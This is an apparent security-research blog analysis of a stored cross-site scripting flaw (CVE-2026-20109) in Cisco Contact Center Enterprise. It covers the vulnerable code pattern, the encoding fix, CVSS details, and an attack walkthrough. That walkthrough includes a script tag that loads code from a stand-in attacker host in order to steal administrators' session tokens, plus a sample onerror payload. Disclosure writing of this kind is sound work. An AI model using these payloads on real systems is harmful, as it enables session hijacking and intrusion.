CVE-2026-20109

The Call Is Coming From Inside The House: Cisco CCE Stored XSS

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 29, 2026·4 min read·12 visits

Executive Summary (TL;DR)

Cisco Unified and Packaged Contact Center Enterprise (CCE) contain a Stored XSS vulnerability in their web management interface. Authenticated attackers with administrative access can inject malicious scripts into configuration fields, which subsequently execute in the browsers of other administrators viewing those fields. Patches are available.

A classic Stored Cross-Site Scripting (XSS) vulnerability lurking in the administrative heart of Cisco's enterprise contact center solutions. While it requires high privileges to plant, it serves as a perfect persistence mechanism for attackers looking to ambush senior administrators.

The Hook: The Brain of the Call Center

Cisco Unified Contact Center Enterprise (UCCE) and its packaged sibling (PCCE) are the behemoths running the customer support lines for the Fortune 500. We are talking about the systems that route calls, manage agents, and handle IVR flows. It is complex, legacy-heavy, and absolutely critical infrastructure.

Usually, when we hunt bugs in these systems, we are looking for unauthenticated RCEs to get a shell. But sometimes, the danger lies in how the system handles its own trusted users. CVE-2026-20109 is a Stored Cross-Site Scripting (XSS) flaw in the web-based management interface. It’s not the flashy 'break the front door down' bug; it’s the 'poison the water supply' bug. It sits there, waiting for a Super Admin to come along and check the logs or configurations, and bam—you’ve hooked their browser.

The Flaw: Trusting the Trusted

The vulnerability stems from a classic assumption made by developers of enterprise software: 'Only admins have access to these fields, and admins are nice people.' The web management interface allows authenticated users to input configuration data—likely things like agent team names, description fields, or call routing labels.

The application takes this input and stores it in the database without sufficient sanitization. That's the first sin. The second, and fatal, sin is that when this data is retrieved and rendered on the management dashboard, it isn't properly output encoded. The browser sees <script>... and dutifully executes it. Because this requires administrative privileges (PR:H) to exploit, the CVSS score is a modest 4.8. But don't let the score fool you; in a post-compromise scenario, this is how you move from a compromised low-level admin account to stealing the session cookies of the Chief Information Security Officer.

The Code: Anatomy of a Stored XSS

Since Cisco CCE is closed-source proprietary software, we don't have the exact git diff. However, based on the behavior (CWE-79 in a Java/Web enterprise stack), we can reconstruct the crime scene with high accuracy. The flaw almost certainly resides in a JSP or Servlet component handling configuration updates.

The Vulnerable Pattern: The code accepts a string parameter (e.g., teamDescription) and writes it directly to the response stream or a JSP tag without escaping.

// Vulnerable JSP Implementation
String desc = request.getParameter("description");
// ... saved to DB ...
// Later, on the dashboard:
out.println("<td>" + database.getDescription() + "</td>");

If database.getDescription() contains <img src=x onerror=alert(1)>, the browser executes the Javascript immediately upon rendering the table cell.

The Fix: The remediation involves wrapping the output in an encoder that converts special characters into their HTML entity equivalents (e.g., < becomes &lt;).

// Secure Implementation
String safeDesc = ESAPI.encoder().encodeForHTML(database.getDescription());
out.println("<td>" + safeDesc + "</td>");

This forces the browser to treat the payload as text, rendering the script tag visibly rather than executing it.

The Exploit: Leaving a Landmine

Let's walk through a realistic attack chain. You are an attacker who has purchased valid, but low-level, administrative credentials for a CCE instance on the dark web. You have access, but you want full control over the cluster.

  1. Reconnaissance: You log into the web management interface and identify fields that are displayed to other users. The 'Description' field in the 'Agent Team' configuration is a prime candidate.
  2. Injection: You modify the description to include a blind XSS payload. Team Alpha <script src='https://attacker.com/hook.js'></script>
  3. The Wait: You save the config. The payload is now dormant in the database.
  4. The Trigger: Two days later, a senior administrator logs in to audit team configurations. Their browser loads the list of teams. The malicious script executes in the background.
  5. The Loot: The script silently steals the senior admin's session token (JSESSIONID) and sends it to your C2 server. You can now impersonate the senior admin, potentially gaining shell access via other administrative features.

The Impact: Why It Matters

While the requirement for authentication dampens the panic, the impact of a successful exploit in a CCE environment is significant. Contact Center software often ties into deep backend systems—databases containing PII, call recording storage, and even telephony infrastructure.

By hijacking an administrator's session via XSS, an attacker could:

  • Redirect calls: Change routing rules to send calls to fraudulent numbers.
  • Exfiltrate Data: Access call logs or agent performance data.
  • Pivot: If the web interface allows OS-command execution features (diagnostics, ping tools) for super-admins, this XSS becomes a bridge to Remote Code Execution (RCE) on the server itself.

Technical Appendix

CVSS Score
4.8/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.04%
Top 90% most exploited

Affected Systems

Cisco Packaged Contact Center Enterprise (Packaged CCE) 10.x through 15.xCisco Unified Contact Center Enterprise (Unified CCE) 10.x through 15.x

Affected Versions Detail

Product
Affected Versions
Fixed Version
Packaged CCE
Cisco
10.0 - 12.6(2)See Vendor Advisory
Unified CCE
Cisco
10.0 - 15.0(1)See Vendor Advisory
AttributeDetail
CWE IDCWE-79
CVSS Score4.8 (Medium)
Attack VectorNetwork (Authenticated)
Privileges RequiredHigh (Admin)
Exploit StatusNone (No public PoC)
EPSS Score0.00036 (Low Probability)
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

CVE Published
2026-01-21
Vendor Advisory Updated
2026-01-26

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.